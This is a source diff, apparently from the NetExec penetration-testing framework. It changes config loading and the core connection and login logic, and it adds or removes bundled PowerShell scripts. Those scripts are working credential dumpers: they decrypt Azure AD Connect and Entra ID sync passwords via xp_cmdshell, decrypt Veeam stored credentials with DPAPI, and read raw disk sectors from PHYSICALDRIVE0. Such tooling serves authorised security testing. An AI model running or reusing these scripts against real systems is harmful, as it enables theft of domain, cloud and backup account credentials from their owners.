args.get_output_tries = args.get_output_tries * 10
return args, [CODENAME, VERSION, COMMIT, DISTANCE]
return args
def get_module_names():
+6 -16
View File
@@ -1,6 +1,7 @@
import os
from os.path import join as path_join
import configparser
from nxc.paths import DATA_PATH, CONFIG_PATH
from nxc.paths import NXC_PATH, DATA_PATH
from nxc.first_run import first_run_setup
from nxc.logger import nxc_logger
from ast import literal_eval
@@ -9,25 +10,20 @@ nxc_default_config = configparser.ConfigParser()
nxc_default_config.read(path_join(DATA_PATH, "nxc.conf"))
nxc_config = configparser.ConfigParser()
nxc_config.read(CONFIG_PATH)
nxc_config.read(os.path.join(NXC_PATH, "nxc.conf"))
if "nxc" not in nxc_config.sections():
first_run_setup()
nxc_config.read(CONFIG_PATH)
nxc_config.read(os.path.join(NXC_PATH, "nxc.conf"))
# Check if there are any missing options in the config file
for section in nxc_default_config.sections():
if not nxc_config.has_section(section):
nxc_logger.display(f"Adding missing section '{section}' to nxc.conf")
nxc_config.add_section(section)
with open(CONFIG_PATH, "w") as config_file:
nxc_config.write(config_file)
for option in nxc_default_config.options(section):
if not nxc_config.has_option(section, option):
nxc_logger.display(f"Adding missing option '{option}' in config section '{section}' to nxc.conf")
nxc_config.set(section, option, nxc_default_config.get(section, option))
with open(CONFIG_PATH, "w") as config_file:
with open(path_join(NXC_PATH, "nxc.conf"), "w") as config_file:
nxc_config.write(config_file)
# THESE OPTIONS HAVE TO EXIST IN THE DEFAULT CONFIG FILE
@@ -36,14 +32,8 @@ pwned_label = nxc_config.get("nxc", "pwn3d_label", fallback="Pwn3d!")
audit_mode = nxc_config.get("nxc", "audit_mode", fallback=False)
reveal_chars_of_pwd = int(nxc_config.get("nxc", "reveal_chars_of_pwd", fallback=0))
config_log = nxc_config.getboolean("nxc", "log_mode", fallback=False)
ignore_opsec = nxc_config.getboolean("nxc", "ignore_opsec", fallback=False)
host_info_colors = literal_eval(nxc_config.get("nxc", "host_info_colors", fallback=["green", "red", "yellow", "cyan"]))
check_guest_account = nxc_config.getboolean("nxc", "check_guest_account", fallback=False)
display_dc = nxc_config.getboolean("nxc", "display_dc", fallback=True)
skip_self = nxc_config.getboolean("nxc", "skip_self", fallback=False)
exclude_hosts = literal_eval(nxc_config.get("nxc", "exclude_hosts", fallback=[]))
if not isinstance(exclude_hosts, list):
nxc_logger.error(f"exclude_hosts must be a 'list', got '{type(exclude_hosts).__name__}'. Exiting.")
exit(1)
if len(host_info_colors) != 4:
+88 -98
View File
@@ -1,11 +1,6 @@
from datetime import datetime
import os
import random
import sys
import contextlib
from os.path import isfile
from threading import BoundedSemaphore, Lock
from threading import BoundedSemaphore
from functools import wraps
from time import sleep
from ipaddress import ip_address
@@ -14,14 +9,16 @@ from socket import AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME, getaddrinfo
from nxc.config import pwned_label
from nxc.helpers.logger import highlight
from nxc.helpers.path import sanitize_path_component
from nxc.loaders.moduleloader import ModuleLoader, ModuleOptionsError
from nxc.loaders.moduleloader import ModuleLoader
from nxc.logger import nxc_logger, NXCAdapter
from nxc.context import Context
from nxc.paths import NXC_PATH
from nxc.protocols.ldap.laps import laps_search
from impacket.dcerpc.v5 import transport
import sys
import contextlib
sem = BoundedSemaphore(1)
fail_lock = Lock()
global_failed_logins = 0
user_failed_logins = {}
@@ -96,32 +93,52 @@ def requires_admin(func):
return wraps(func)(_decorator)
def dcom_FirewallChecker(iInterface, remoteHost, timeout):
stringBindings = iInterface.get_cinstance().get_string_bindings()
for strBinding in stringBindings:
if strBinding["wTowerId"] == 7:
if strBinding["aNetworkAddr"].find("[") >= 0:
binding, _, bindingPort = strBinding["aNetworkAddr"].partition("[")
bindingPort = "[" + bindingPort
else:
binding = strBinding["aNetworkAddr"]
bindingPort = ""
if binding.upper().find(iInterface.get_target().upper()) >= 0:
stringBinding = "ncacn_ip_tcp:" + strBinding["aNetworkAddr"][:-1]
break
elif iInterface.is_fqdn() and binding.upper().find(iInterface.get_target().upper().partition(".")[0]) >= 0:
stringBinding = f"ncacn_ip_tcp:{iInterface.get_target()}{bindingPort}"
if "stringBinding" not in locals():
return True, None
try:
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpctransport.setRemoteHost(remoteHost)
rpctransport.set_connect_timeout(timeout)
rpctransport.connect()
rpctransport.disconnect()
except Exception as e:
nxc_logger.debug(f"Exception while connecting to {stringBinding}: {e}")
return False, stringBinding
else:
return True, stringBinding
class connection:
def __init__(self, args, db, target):
self.args = args
self.db = db
self.logger = nxc_logger
self.conn = None
self.output_file_template = None
self.output_filename = None
self.protocol = args.protocol
# Authentication info
self.password = ""
self.username = ""
self.certificate_auth = bool(self.args.pfx_cert or self.args.pfx_base64 or self.args.pem_cert)
self.kerberos = bool(self.args.kerberos or
self.args.use_kcache or
self.args.aesKey or
(self.certificate_auth and not (self.protocol == "ldap" and self.args.schannel)) or # PKINIT yields a TGT, while Schannel binds the certificate to the LDAP channel itself
(hasattr(self.args, "delegate") and self.args.delegate) or
(hasattr(self.args, "generate_st") and self.args.generate_st) or
(hasattr(self.args, "no_preauth_targets") and self.args.no_preauth_targets))
self.kerberos = bool(self.args.kerberos or self.args.use_kcache or self.args.aesKey)
self.aesKey = None if not self.args.aesKey else self.args.aesKey[0]
self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
self.admin_privs = False
self.failed_logins = 0
self.has_reusable_secret = not (self.protocol == "ldap" and self.args.schannel) # a Schannel bind authenticates the LDAP connection only, leaving no secret for a second channel
# Network info
self.domain = None
@@ -140,23 +157,16 @@ class connection:
else:
return
if self.kerberos:
if self.args.kerberos:
self.host = self.hostname
self.logger.debug(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
try:
self.proto_flow()
except FileNotFoundError as e:
self.logger.error(f"File not found error on target {target}: {e}")
except ConnectionRefusedError as e:
self.logger.error(f"Target {target} refused the connection: {e}")
except Exception as e:
if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}")
# Catching impacket SMB specific exceptions, which should not be imported due to performance reasons
elif e.__class__.__name__ in ["NetBIOSTimeout", "NetBIOSError"]:
self.logger.error(f"{e.__class__.__name__} on target {target}: {e}")
else:
self.logger.exception(f"Exception while calling proto_flow() on target {target}: {e}")
finally:
@@ -193,16 +203,13 @@ class connection:
def create_conn_obj(self):
return
def disconnect(self):
return
def check_if_admin(self):
return
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
return
def plaintext_login(self, username, password):
def plaintext_login(self, domain, username, password):
return
def hash_login(self, domain, username, ntlm_hash):
@@ -212,27 +219,18 @@ class connection:
self.logger.debug("Kicking off proto_flow")
self.proto_logger()
if not self.create_conn_obj():
self.logger.debug(f"Failed to create connection object for target {self.host}, exiting...")
self.logger.info(f"Failed to create connection object for target {self.host}, exiting...")
else:
self.logger.info(f"Successfully created connection object for target '{self.host}'")
self.logger.debug("Created connection object")
self.enum_host_info()
# Construct the output file template using os.path.join for OS compatibility
base_log_dir = os.path.join(NXC_PATH, "logs")
filename_pattern = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=220)
self.output_file_template = os.path.join(base_log_dir, "{output_folder}", filename_pattern)
# Default output filename for logs
self.output_filename = os.path.join(base_log_dir, filename_pattern)
self.print_host_info()
if self.login() or (self.username == "" and self.password == "" and self.protocol != "mssql" and not self.certificate_auth): # a failed certificate auth is not a null session
self.logger.debug("Calling command arguments")
self.call_cmd_args()
if self.args.module:
if self.print_host_info() and (self.login() or (self.username == "" and self.password == "")):
if hasattr(self.args, "module") and self.args.module:
self.load_modules()
self.logger.debug("Calling modules")
self.call_modules()
self.disconnect()
else:
self.logger.debug("Calling command arguments")
self.call_cmd_args()
def call_cmd_args(self):
"""Calls all the methods specified by the command line arguments
@@ -267,7 +265,7 @@ class connection:
extra={
"module_name": module.name.upper(),
"host": self.host,
"port": self.port,
"port": self.args.port,
"hostname": self.hostname,
},
)
@@ -276,6 +274,11 @@ class connection:
context = Context(self.db, module_logger, self.args)
context.localip = self.local_ip
if hasattr(module, "on_request") or hasattr(module, "has_response"):
self.logger.debug(f"Module {module.name} has on_request or has_response methods")
self.server.connection = self
self.server.context.localip = self.local_ip
if hasattr(module, "on_login"):
self.logger.debug(f"Module {module.name} has on_login method")
module.on_login(context, self)
@@ -284,31 +287,35 @@ class connection:
self.logger.debug(f"Module {module.name} has on_admin_login method")
module.on_admin_login(context, self)
if (not hasattr(module, "on_request") and not hasattr(module, "has_response")) and hasattr(module, "on_shutdown"):
self.logger.debug(f"Module {module.name} has on_shutdown method")
module.on_shutdown(context, self)
def inc_failed_login(self, username):
global global_failed_logins, user_failed_logins
global global_failed_logins
global user_failed_logins
with fail_lock:
if username not in user_failed_logins:
user_failed_logins[username] = 0
if username not in user_failed_logins:
user_failed_logins[username] = 0
user_failed_logins[username] += 1
global_failed_logins += 1
self.failed_logins += 1
user_failed_logins[username] += 1
global_failed_logins += 1
self.failed_logins += 1
def over_fail_limit(self, username):
global global_failed_logins, user_failed_logins
global global_failed_logins
global user_failed_logins
with fail_lock:
if global_failed_logins == self.args.gfail_limit:
return True
if global_failed_logins == self.args.gfail_limit:
return True
if self.failed_logins == self.args.fail_limit:
return True
if self.failed_logins == self.args.fail_limit:
return True
if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]: # ruff: ignore[needless-bool]
return True
if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]:
return True
return False
return False
def query_db_creds(self):
"""Queries the database for credentials to be used for authentication.
@@ -369,10 +376,10 @@ class connection:
if isfile(user):
with open(user) as user_file:
for line in user_file:
if "\\" in line and len(line.split("\\")) == 2:
if "\\" in line:
domain_single, username_single = line.split("\\")
else:
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain is not None else self.domain
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain else self.domain
username_single = line
domain.append(domain_single)
username.append(username_single.strip())
@@ -381,7 +388,7 @@ class connection:
if "\\" in user:
domain_single, username_single = user.split("\\")
else:
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain is not None else self.domain
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain else self.domain
username_single = user
domain.append(domain_single)
username.append(username_single)
@@ -410,14 +417,14 @@ class connection:
with open(ntlm_hash) as ntlm_hash_file:
for i, line in enumerate(ntlm_hash_file):
line = line.strip()
if len(line) != 32 and len(line) != 65 and len(line) != 0:
if len(line) != 32 and len(line) != 65:
self.logger.fail(f"Invalid NTLM hash length on line {(i + 1)} (len {len(line)}): {line}")
continue
else:
secret.append(line)
cred_type.append("hash")
else:
if len(ntlm_hash) != 32 and len(ntlm_hash) != 65 and len(ntlm_hash) != 0:
if len(ntlm_hash) != 32 and len(ntlm_hash) != 65:
self.logger.fail(f"Invalid NTLM hash length {len(ntlm_hash)}, authentication not sent")
exit(1)
else:
@@ -455,8 +462,12 @@ class connection:
- NTLM-hash (/kerberos)
- AES-key
"""
if self.over_fail_limit(username):
return False
if self.args.continue_on_success and owned:
return False
if hasattr(self.args, "delegate") and self.args.delegate:
self.args.kerberos = True
if self.args.jitter:
jitter = self.args.jitter
@@ -470,10 +481,8 @@ class connection:
sleep(value)
with sem:
if self.over_fail_limit(username):
return False
if cred_type == "plaintext":
if self.kerberos:
if self.args.kerberos:
self.logger.debug("Trying to authenticate using Kerberos")
return self.kerberos_login(domain, username, secret, "", "", self.kdcHost, False)
elif hasattr(self.args, "domain"): # Some protocols don't use domain for login
@@ -486,7 +495,7 @@ class connection:
self.logger.debug("Trying to authenticate using plaintext")
return self.plaintext_login(username, secret)
elif cred_type == "hash":
if self.kerberos:
if self.args.kerberos:
return self.kerberos_login(domain, username, "", secret, "", self.kdcHost, False)
return self.hash_login(domain, username, secret)
elif cred_type == "aesKey":
@@ -527,29 +536,14 @@ class connection:
if self.args.use_kcache:
self.logger.debug("Trying to authenticate using Kerberos cache")
with sem:
from impacket.krb5.ccache import CCache
username = self.args.username[0] if len(self.args.username) else CCache.parseFile()[1]
username = self.args.username[0] if len(self.args.username) else ""
password = self.args.password[0] if len(self.args.password) else ""
self.kerberos_login(self.domain, username, password, "", "", self.kdcHost, True)
self.logger.info("Successfully authenticated using Kerberos cache")
return True
if self.certificate_auth:
self.logger.debug("Trying to authenticate using Certificate pfx")
if self.args.protocol == "ldap" and self.args.schannel:
# Schannel maps the certificate to an account server-side, so the supplied username is ignored
with sem:
return self.plaintext_login(self.domain, "", "")
if not username:
self.logger.fail("You must specify a username when using certificate authentication")
return False
with sem:
from nxc.helpers.pfx import pfx_auth
return pfx_auth(self, domain[0], username[0])
if hasattr(self.args, "laps") and self.args.laps:
self.logger.debug("Trying to authenticate using LAPS")
from nxc.protocols.ldap.laps import laps_search
username[0], secret[0], domain[0] = laps_search(self, username, secret, cred_type, domain, self.dns_server)
cred_type = ["plaintext"]
if not (username[0] or secret[0] or domain[0]):
@@ -581,9 +575,5 @@ class connection:
self.modules = []
for module_path in self.module_paths:
try:
module = loader.init_module(module_path)
except ModuleOptionsError as e:
self.logger.debug(f"Skipping module: {e}")
continue
module = loader.init_module(module_path)
self.modules.append(module)
+2 -4
View File
@@ -1,8 +1,6 @@
import configparser
import os
from nxc.paths import NXC_PATH, CONFIG_PATH
class Context:
def __init__(self, db, logger, args):
@@ -10,10 +8,10 @@ class Context:
setattr(self, key, value)
self.db = db
self.log_folder_path = os.path.join(NXC_PATH, "logs")
self.log_folder_path = os.path.join(os.path.expanduser("~/.nxc"), "logs")
self.localip = None
self.conf = configparser.ConfigParser()
self.conf.read(CONFIG_PATH)
self.conf.read(os.path.expanduser("~/.nxc/nxc.conf"))
self.log = logger
-82
View File
@@ -1,82 +0,0 @@
# Original script by @_xpn_: https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c
# Modified by @NeffIsBack:
# - Added support for Entra ID sync credentials (original source: https://github.com/Gerenios/AADInternals-Endpoints/blob/6af2054705e900b733ba76c6e65bfa6cad2328cc/AADSyncSettings.ps1#L108-L116)
# Function to decrypt the encrypted configuration of the Azure AD Connect sync stuff
function decrypter($crypted, $key_id, $instance_id, $entropy) {
$cmd = $client.CreateCommand()
$cmd.CommandText = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell.exe -c `"add-type -path ''C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'';`$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager;`$km.LoadKeySet([guid]''$entropy'', [guid]''$instance_id'', $key_id);`$key2 = `$null;`$km.GetKey(1, [ref]`$key2);`$decrypted = `$null;`$key2.DecryptBase64ToString(''$crypted'', [ref]`$decrypted);Write-Host `$decrypted`"'"
$reader = $cmd.ExecuteReader()
$decrypted = [string]::Empty
while ($reader.Read() -eq $true -and $reader.IsDBNull(0) -eq $false) {
$decrypted += $reader.GetString(0)
}
$reader.Close()
if ($decrypted -eq [string]::Empty) {
Write-Host "[!] Error using xp_cmdshell to launch our decryption powershell"
return
}
return $decrypted
}
# Create a connection to the localdb instance of Azure AD Connect
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync2019;Initial Catalog=ADSync"
try {
$client.Open()
} catch {
Write-Host "[!] Could not connect to localdb, Entra ID sync probably not installed"
return
}
function f {
param ($q)
$c = $client.CreateCommand()
$c.CommandText = $q
$r = $c.ExecuteReader()
if (-not $r.Read()) {
Write-Host "[!] Error querying: $q"
return
}
$res = for ($i = 0; $i -lt $r.FieldCount; $i++) { $r.GetValue($i) }
$r.Close()
return $res
}
# Get keyset_id, instance_id, entropy
$out = f "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
if (-not $out) { return }
$key_id, $instance_id, $entropy = $out
# Get and decrypt on-prem AD credentials
$out = f "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
if (-not $out) { return }
$on_prem, $c = $out
$pd = decrypter $c $key_id $instance_id $entropy
# Get and decrypt Entra ID sync credentials
$out = f "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE subtype = 'Windows Azure Active Directory (Microsoft)'"
if (-not $out) { return }
$entra, $c = $out
$qd = decrypter $c $key_id $instance_id $entropy
# Extract the credentials from the decrypted XML configurations
$domain = select-xml -Content $on_prem -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerText}}
$username = select-xml -Content $on_prem -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerText}}
$pw = select-xml -Content $pd -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
Write-Host "On-prem Domain: $($domain.Domain)"
Write-Host "On-prem Username: $($username.Username)"
Write-Host "On-prem Password: $($pw.Password)"
# Extract the Entra ID sync credentials
$entra_user = ([xml]$entra).MAConfig.'parameter-values'.parameter[0].'#text'
$entra_pw = select-xml -Content $qd -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
Write-Host "Entra ID Username: $($entra_user)"
Write-Host "Entra ID Password: $($entra_pw.Password)"
+65
View File
@@ -0,0 +1,65 @@
$sqlbin=@(Get-ChildItem -Path C:\"Program Files"\"Microsoft SQL Server"\ -Filter sqllocaldb.exe -Recurse).fullname
$db=@(cmd /c $sqlbin info | findstr /i ADSy)
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\$db;Initial Catalog=ADSync"
try {
$client.Open()
} catch {
Write-Host "[!] Could not connect to localdb..."
return
}
Write-Host "[*] Querying ADSync localdb (mms_server_configuration)"
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
if ($reader.Read() -ne $true) {
Write-Host "[!] Error querying mms_server_configuration"
return
}
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()
Write-Host "[*] Querying ADSync localdb (mms_management_agent)"
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
if ($reader.Read() -ne $true) {
Write-Host "[!] Error querying mms_management_agent"
return
}
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()
Write-Host "[*] Using xp_cmdshell to run some Powershell as the service user"
$cmd = $client.CreateCommand()
$cmd.CommandText = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell.exe -c `"add-type -path ''C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'';`$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager;`$km.LoadKeySet([guid]''$entropy'', [guid]''$instance_id'', $key_id);`$key = `$null;`$km.GetActiveCredentialKey([ref]`$key);`$key2 = `$null;`$km.GetKey(1, [ref]`$key2);`$decrypted = `$null;`$key2.DecryptBase64ToString(''$crypted'', [ref]`$decrypted);Write-Host `$decrypted`"'"
$reader = $cmd.ExecuteReader()
$decrypted = [string]::Empty
while ($reader.Read() -eq $true -and $reader.IsDBNull(0) -eq $false) {
$decrypted += $reader.GetString(0)
}
if ($decrypted -eq [string]::Empty) {
Write-Host "[!] Error using xp_cmdshell to launch our decryption powershell"
return
}
$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerText}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerText}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
Write-Host "Domain: $($domain.Domain)"
Write-Host "Username: $($username.Username)"
Write-Host "Password: $($password.Password)"
-95
View File
@@ -1,95 +0,0 @@
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
using Microsoft.Win32.SafeHandles;
public class CNativeMethods
{
public const uint GENERIC_READ = 0x80000000;
public const uint OPEN_EXISTING = 3;
public const uint FILE_SHARE_READ = 0x00000001;
public const uint FILE_SHARE_WRITE = 0x00000002;
public const uint FILE_SHARE_DELETE = 0x00000004;
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern SafeFileHandle CreateFile(
string lpFileName,
uint dwDesiredAccess,
uint dwShareMode,
IntPtr lpSecurityAttributes,
uint dwCreationDisposition,
uint dwFlagsAndAttributes,
IntPtr hTemplateFile
);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool ReadFile(
SafeFileHandle hFile,
byte[] lpBuffer,
uint nNumberOfBytesToRead,
out uint lpNumberOfBytesRead,
IntPtr lpOverlapped
);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool SetFilePointerEx(
SafeFileHandle hFile,
long lDistanceToMove,
out long lpNewFilePointer,
uint dwMoveMethod
);
}
public enum EMoveMethod : uint
{
Begin = 0,
Current = 1,
End = 2
}
"@
Function read_disk{
$offset = [long]$args[0]
$size = [int]$args[1]
try {
$handle = [CNativeMethods]::CreateFile("\\.\PHYSICALDRIVE0",
[CNativeMethods]::GENERIC_READ,
[CNativeMethods]::FILE_SHARE_READ -bor [CNativeMethods]::FILE_SHARE_WRITE -bor [CNativeMethods]::FILE_SHARE_DELETE,
[IntPtr]::Zero, [CNativeMethods]::OPEN_EXISTING, 0, [IntPtr]::Zero)
if ($handle.IsInvalid) {
throw "Failed to create file handle"
}
$moveToHigh = 0
$success = [CNativeMethods]::SetFilePointerEx($handle, $offset, [ref]$moveToHigh, [EMoveMethod]::Begin)
if (-not $success) {
throw "Failed to set file pointer"
}
$buffer = New-Object byte[] $size
$bytesRead = 0
$success = [CNativeMethods]::ReadFile($handle, $buffer, $size, [ref]$bytesRead, [IntPtr]::Zero)
if (-not $success) {
throw "Failed to read file"
}
$memoryStream = New-Object System.IO.MemoryStream
$gzipStream = New-Object System.IO.Compression.GzipStream($memoryStream, [System.IO.Compression.CompressionMode]::Compress)
$gzipStream.Write($buffer, 0, $buffer.Length)
$gzipStream.Close()
$compressedBytes = $memoryStream.ToArray()
$compressedBase64 = [Convert]::ToBase64String($compressedBytes)
Write-Output $compressedBase64
} catch {
Write-Error "An error occurred: $_"
}
finally {
if ($handle -and !$handle.IsInvalid) {
$handle.Close()
}
}
}
+1 -7
View File
@@ -5,11 +5,8 @@ pwn3d_label = Pwn3d!
audit_mode =
reveal_chars_of_pwd = 0
log_mode = False
ignore_opsec = True
host_info_colors = ["green", "red", "yellow", "cyan"]
check_guest_account = False
display_dc = True
skip_self = False
exclude_hosts = []
[BloodHound]
bh_enabled = False
@@ -18,9 +15,6 @@ bh_port = 7687
bh_user = neo4j
bh_pass = bloodhoundcommunityedition
[BloodHound-CE]
bhce_enabled = True
[Empire]
api_host = 127.0.0.1
api_port = 1337
Binary file not shown.
@@ -1,10 +1,9 @@
$SqlDatabaseName = "REPLACE_ME_SqlDatabase"
$SqlServerName = "REPLACE_ME_SqlServer"
$SqlInstanceName = "REPLACE_ME_SqlInstance"
$b64Salt = "REPLACE_ME_b64Salt"
#Forming the connection string
$SQL = "SELECT [user_name] AS 'User', [password] AS 'Password', [description] AS 'Description' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
$SQL = "SELECT [user_name] AS 'User',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
$auth = "Integrated Security=SSPI;" #Local user
$connectionString = "Provider=sqloledb; Data Source=$SqlServerName\$SqlInstanceName; Initial Catalog=$SqlDatabaseName; $auth;"
$connection = New-Object System.Data.OleDb.OleDbConnection $connectionString
@@ -23,46 +22,19 @@ catch {
exit -1
}
$output=($dataset.Tables | Select-Object -Expand Rows)
if ($output.count -eq 0) {
$rows=($dataset.Tables | Select-Object -Expand Rows)
if ($rows.count -eq 0) {
Write-Host "No passwords found!"
exit
}
Add-Type -assembly System.Security
# Decrypting passwords using DPAPI
$output | ForEach-Object -Process {
$EncryptedPWD = [Convert]::FromBase64String($_.password)
#Decrypting passwords using DPAPI
$rows | ForEach-Object -Process {
$EnryptedPWD = [Convert]::FromBase64String($_.password)
$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
$enc = [system.text.encoding]::Default
try {
# Decrypt password with DPAPI (old Veeam versions)
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
} catch {
try{
# Decrypt password with salted DPAPI (new Veeam versions)
$salt = [System.Convert]::FromBase64String($b64Salt)
$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2)
foreach ($byte in $EncryptedPWD)
{
$hex.AppendFormat("{0:x2}", $byte) > $null
}
$hex = $hex.ToString().Substring(74,$hex.Length-74)
$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
for ($i = 0; $i -lt $hex.Length; $i += 2)
{
$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
}
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
}catch {
$pw_string = "COULD_NOT_DECRYPT"
}
}
$_.user = $_.user -replace '\s', 'WHITESPACE_ERROR'
$_.password = $pw_string
$_.description = $_.description -replace '\s', 'WHITESPACE_ERROR'
$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR'
}
Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000
Write-Output $rows | Format-Table -HideTableHeaders | Out-String
@@ -1,9 +1,8 @@
$PostgreSqlExec = "REPLACE_ME_PostgreSqlExec"
$PostgresUserForWindowsAuth = "REPLACE_ME_PostgresUserForWindowsAuth"
$SqlDatabaseName = "REPLACE_ME_SqlDatabaseName"
$b64Salt = "REPLACE_ME_b64Salt"
$SQLStatement = "SELECT user_name AS User, password AS Password, description AS Description FROM credentials WHERE password != '';"
$SQLStatement = "SELECT user_name AS User,password AS Password FROM credentials WHERE password != '';"
$output = . $PostgreSqlExec -U $PostgresUserForWindowsAuth -w -d $SqlDatabaseName -c $SQLStatement --csv | ConvertFrom-Csv
if ($output.count -eq 0) {
@@ -11,40 +10,13 @@ if ($output.count -eq 0) {
exit
}
# Decrypting passwords using DPAPI
Add-Type -assembly System.Security
#Decrypting passwords using DPAPI
$output | ForEach-Object -Process {
$EncryptedPWD = [Convert]::FromBase64String($_.password)
$EnryptedPWD = [Convert]::FromBase64String($_.password)
$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
$enc = [system.text.encoding]::Default
try {
# Decrypt password with DPAPI (old Veeam versions)
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
} catch {
try{
# Decrypt password with salted DPAPI (new Veeam versions)
$salt = [System.Convert]::FromBase64String($b64Salt)
$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2)
foreach ($byte in $EncryptedPWD)
{
$hex.AppendFormat("{0:x2}", $byte) > $null
}
$hex = $hex.ToString().Substring(74,$hex.Length-74)
$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
for ($i = 0; $i -lt $hex.Length; $i += 2)
{
$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
}
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
}catch {
$pw_string = "COULD_NOT_DECRYPT"
}
}
$_.user = $_.user -replace '\s', 'WHITESPACE_ERROR'
$_.password = $pw_string
$_.description = $_.description -replace '\s', 'WHITESPACE_ERROR'
$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR'
}
Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000
Write-Output $output | Format-Table -HideTableHeaders | Out-String
+27 -143
View File
@@ -1,23 +1,13 @@
import configparser
import ipaddress
import platform
import shutil
import sys
import configparser
import shutil
from sqlalchemy import create_engine
from sqlite3 import connect
from os import mkdir
from os.path import exists
from os.path import join as path_join
from pathlib import Path
from threading import Lock
from sqlalchemy import Table, create_engine, MetaData, func
from sqlalchemy.exc import (
IllegalStateChangeError,
NoInspectionAvailable,
NoSuchTableError,
)
from sqlalchemy.orm import sessionmaker, scoped_session
from nxc.loaders.protocolloader import ProtocolLoader
from nxc.logger import nxc_logger
from nxc.paths import WORKSPACE_DIR
